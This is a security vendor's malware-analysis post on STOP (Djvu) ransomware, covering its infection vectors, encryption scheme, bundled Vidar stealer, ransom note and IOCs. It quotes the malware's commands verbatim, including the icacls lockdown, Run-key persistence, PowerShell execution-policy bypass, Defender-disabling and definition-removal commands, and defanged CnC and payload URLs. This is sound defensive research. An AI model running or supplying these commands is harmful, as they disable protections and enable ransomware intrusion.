STOP (Djvu) Ransomware: Ransom For Your Shady Habits!

With almost 200 extensions, STOP (djvu) ransomware can be said to be 2019’s most active and widespread ransomware. Although this ransomware was active a year before, it started its campaign aggressively in early 2019. To evade detection, it has been continuously changing its extensions and payloads. For earlier infections, data recovery was easier if the key was not online CnC generated. Once payload was received, decryption was easier as it used non-symmetric encryption algorithms and for offline systems, it used the same set of keys. There has been a change in its encryption strategy from mid-2019, which made the decryption of infected files difficult. By observing continuous improvement in infection vectors and payloads, one can consider STOP actors to be one of the most active malware authors of 2019.

Here, we will discuss in detail about its behavior and updated file encryption technique. We will also go through its parallel activities of downloading other malware and their behavior. The statistics would elaborate its prominence in the last few months.

Infection Vectors:

According to our telemetry, this ransomware is seen spreading through cracked applications, keygens, activators, fake application setup and fake windows updates. While taking a look at the infection vectors and the ransom demanded, we can say that these actors believed in quantity instead of quality like Ryuk did. According to our observations, cracked files or fake activators for different software like Tally, Autocad, Adobe Photoshop, Internet Download Manager, Microsoft Office, Opera browser, VMware Workstation, Quick Heal Total Security, etc. were seen spreading this ransomware.

Payload Behaviour:

Fig. 1: ProcessMap

The main payload of STOP (djvu) has lots of anti-emulation and anti-debugging techniques implemented by its common wrapper, which is believed to be used for most of the payloads. Few of the ransomware are seen avoiding encryption for a particular set of countries, depending on the region of their origin and strength of victims to pay the ransom. For that, we have observed the use of keyboard layouts to identify the country of the victim system. Here, STOP authors did not rely on legacy techniques as there might be a chance of error. The payload checks for the location of the system by visiting “https[:]//api.2ip.ua/geo.json” where in response we get information about the location and timezone of the system.

In response to this request, details of location including longitude, latitude, timezone along with country and city are received.

Fig. 2: IP Response

The retrieved country code is compared with a few other country codes. If it matches with any of the listed country codes, the payload does not execute further. The image below shows the country code comparison before encryption.

Fig. 3: Country Code Comparison

Once it confirms that the victim is not from one of the enlisted countries, it creates a folder with UUID or GUID used as its name at directory “%AppData%\Local\”. After that, payload creates self-copy at this location and access controls of this file are changed using ‘iCacls’ by the following command:

“icacls \”%AppData%\\Local\\{UuId}\” /deny *S-1-1-0:(OI)(CI)(DE,DC)”

Where OI: Object Inherit, CI: Container Inherit, DE: Delete, DC: Delete Child

Again after this, payload runs itself from its original location by elevating access rights as admin using

<Directory Path>\ewrewexcf.exe –Admin IsNotAutoStart IsNotTask 

Further, it terminates the parent process. Parameters confirm that the process is neither initiated by autostart programs nor it is a scheduled task and is running as admin. This newly executed process creates a task scheduler entry using TaskSchedulerCOM at:

C:\Windows\System32\Tasks\Time Trigger Task

Fig. 4: Time Trigger Task

Then it retrieves the MAC address of the system using GetAdaptersInfo(). An MD5 hash of this MAC address is then calculated using Windows Crypto APIs and is then used to uniquely identify the system. A request is sent to malicious CnC using this MD5 hash, which gets RSA-2048 public key and system encryption identifier i.e. personal ID as a response.

Request format:

https://ring2[.]ug/As73yhsyU34578hxxx/SDf565g/get.php?pid={Mac Address_MD5}&first=true

This response is stored in %AppData%\Local\bowsakkdestx.txt. This key is further used in file encryption, which we will discuss later. Also, the ID received along with the public key is stored in C:\SystemID\PersonalID.txt for future reference.

While receiving personal ID and public key, the ransomware payload also downloads a couple of other malware from the CnC server. It consists of infamous info-stealer i.e. Vidar and a trojan payload which is similar to previously seen Vilsel.

                                                                                  Fig. 5: File Download RequestsIn Fig.5, ‘5.exe’ was downloaded and it is one of the Vidar payloads, while ‘updatewin1.exe’ was Vilsel. The lateral activity of these components will be discussed later.

For persistence, along with time trigger task, it also creates one RUN registry entry:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run “SysHelper” = “%AppData%\Local\{UuId}\34efcdsax.exe” –AutoStart

It drops ransom note to the directories it has enumerated. Before start of encryption process, a mutex {1D6FC66E – D1F3 – 422C – 8A53 – C0BBCF3D900D} is created. This mutex is common throughout STOP-Djvu campaign.

It particularly checks for the presence of file I:\5d2860c89d774.jpg and if present, it encrypts this file.

File Encryption:

File encryption involves 2 types:

• Encryption with Online Key
• Encryption with Offline Key

In the first scenario, payload tries to establish a connection with CnC by sending a request for server-generated public key and ID using the associated MD5 hash of the system’s MAC address. The response is saved in bowsakkdestx.txt. For encryption, this key is used in the future.

In the latter type of encryption, if STOP ransomware is not able to get a response from the CnC, it checks for the existence of bowsakkdestx.txt at ‘%AppData%/Local’ directory. If the file found, it checks for the ‘Public Key’ keyword in the file. If the file does not contain a public key, payload deletes the file and again checks for the CnC response. On the other hand, if the file is not present then it uses public key and ID which are already present in the file. Most of the strings in the payload are present in encrypted form i.e. XORed with byte key 0x80. The recent payloads of stop have an offline ID which is appended by its extension name and “t1”.

ex: Z4aT0c1B4eHWZwaTg43eRzyM1gl3ZaaNVHrecot1

Few file types and directories are skipped from the encryption process based on path and file extensions.

Extensions excluded:

.sys .ini .dll .blf .bat .lnk .regtrans-ms

Along with above extensions, the extension used by payload to indicate encryption is also avoided.

Files Excluded:

ntuser.dat  ntuser.dat.LOG1  ntuser.dat.LOG2  ntuser.pol  _readme.txt

Folders in Windows directory and browser folders in the Program Files directory are excluded from encryption.

Before encryption, it also checks for file encryption marker i.e. “{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}” which is at the end of the file followed by encryption ID.

While encrypting a file, it keeps the first 5 bytes of the file as it is. The rest of the file data is encrypted with the Salsa20 algorithm. For the file data encryption, UUID is created and is used as a key for the Salsa20 algorithm. In this way, each file uses a new UUID and the unique key is used for encryption of each file. Given below is an example of one Salsa20 key.

Fig. 6: Salsa20 Key

After encryption of file data, the UUID used as Salsa20 key is also encrypted with the RSA-2048 public key which was received from the CnC server. In the case of offline encryption, this key is retrieved from the payload itself. The encrypted UUID is appended after encrypted file data. The personal ID which was again received from the server with RSA-2048 public key is appended to encrypted UUID. If files are encrypted offline, then this personal ID is also retrieved from file and is common for all offline infected victims. At the end of the file, encryption marker ‘{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}’ is written.

Fig. 7: File Encryption Structure

Lateral Activity:

     1. Vidar (5.exe)

Vidar is a known info-stealer trojan, which collects sensitive information from your system and then delivers it to its CnC. The information it may steal includes:

• Browser Login Data, History, Cookies
• Browser Cache
• System Information
• Messaging/Email software data
• Two-factor authentication software data

It checks for the presence of various browsers and software including two-factor authentication tools.

Fig. 8: Vidar File Access

It stores stolen data in a randomly named folder in the ProgramData directory. In this directory, few ‘.zip’ files are created which contain files like information.txt which has details of user and machine, running processes and software installed in the system. The retrieved passwords/credentials from browsers and other software are stored in passwords.txt. The rest of the information is stored in directories/files with respective software names.

Fig. 9: Vidar File Write

There is one file additional named ID which contains data in the form of SQL database having tables like logins, meta, stats, sync_entities_metadata and sync_model_metadata. These tables mainly have browser-related data of the user. All of these data are then sent to CnC of Vidar which is ‘hxxp://crarepo[.]com/’ in this case. Changes in the CnC servers are observed over the period.

Fig. 10: Vidar HttpSendRequestA

     2. Updatewin1.exe:

This component is mainly used to hide ransomware’s existence or evade detection based on the behavior of malware. It shows similarity with the Vilsel Trojan family.

First of all, it executes itself with elevated privileges. This process with elevated privileges executes PowerShell with the following command line, to change execution policy from default restricted to RemoteSigned, which results in the execution of local policies without any digital signature.

powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

Fig. 11: Updatewin RegSetValue

The updatewin1.exe then drops script.ps1 having command ‘Set-MpPreference -DisableRealtimeMonitoring $true’ at %temp% location. A new PowerShell instance is initiated with parameters:

-NoProfile -ExecutionPolicy Bypass -Command “& {Start-Process PowerShell -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -File %AppData%\Local\script.ps1″”‘ -Verb RunAs.

This runs PowerShell with admin privileges and bypasses all execution policies for the current instance of PowerShell. This executes script.ps1 resulting in disabling of Windows Realtime Protection. It also removes downloaded updates/signatures of windows defender using the command:

mpcmdrun.exe -removedefinitions -all

The task manager is also disabled by changing the registry and then updatewin1.exe deletes itself using a batch file.

     3. Updatewin.exe:

This component has no suspicious or malicious activity. It just displays windows update prompt so that any of the suspicious activities will be considered as windows update changes. There is no minimize or close option to this window, one has to kill the process to get rid of it.

Fig. 12: Fake Update Window

Ransom note:

Fig. 13: _readme.txt Ransom note

Over the campaign, the STOP ransom note has remained the same with few small changes. It asks for $980 of ransom and gives a 50% discount if payment is done within 3 days. The conversation with victims is carried over the mail. Ransom note contains the Personal Id of the user which is also stored in C:\SystemID\PersonalID.txt.

Statistics:

Fig. 14: Statistics

From the introduction of the new RSA 2048 variant, we have seen a noticeable increase in infections. As the chart above states, there was a gradual increase from August till November with hits crossing 120,000 mark. However, there’s been a decrease in hits in December, which seems to have continued in the month of January.

Conclusion:

From the start of the STOP-djvu campaign, stop authors have focused on changing payloads and extensions within short intervals, making their presence among ransomware strong and sound. Initially, authors believed in symmetric cryptography, hoping for ransom from most of the cases with newer payloads and unique keys for each variant. The free decryptors for offline infections forced them to shift to asymmetric cryptography, which made the decryption of new infections harder. Also, propagating through multiple crack software, activators, keygen software and fake software/OS upgrades, has been an effective way of spreading for this ransomware.

IOCs:

Hashes:

74A9A644307645D1D527D7D39A87861C

F64CF802D1E163260F8EBD224E7B2078

959B266CAD13BA35AEE35D8D4B723ED4

9EE3B1BCF67A63354C8AF530C8FA5313

5B4BD24D6240F467BFBC74803C9F15B0

B0A89E143BABDA2762561BC7576017D7

290E97907E5BE8EA72178414762CD846

E3083483121CD288264F8C5624FB2CD1

 URLs:

hxxp://ring2[.]ug/files/penelop/3.exe

hxxp://ring2[.]ug/files/penelop/4.exe

hxxp://ring2[.]ug/files/penelop/5.exe

hxxp://ring2[.]ug/files/penelop/updatewin.exe

hxxp://ring2[.]ug/files/penelop/updatewin1.exe

hxxp://ring2[.]ug/files/penelop/updatewin2.exe

hxxp://crarepo[.]com/

Jayesh kulkarni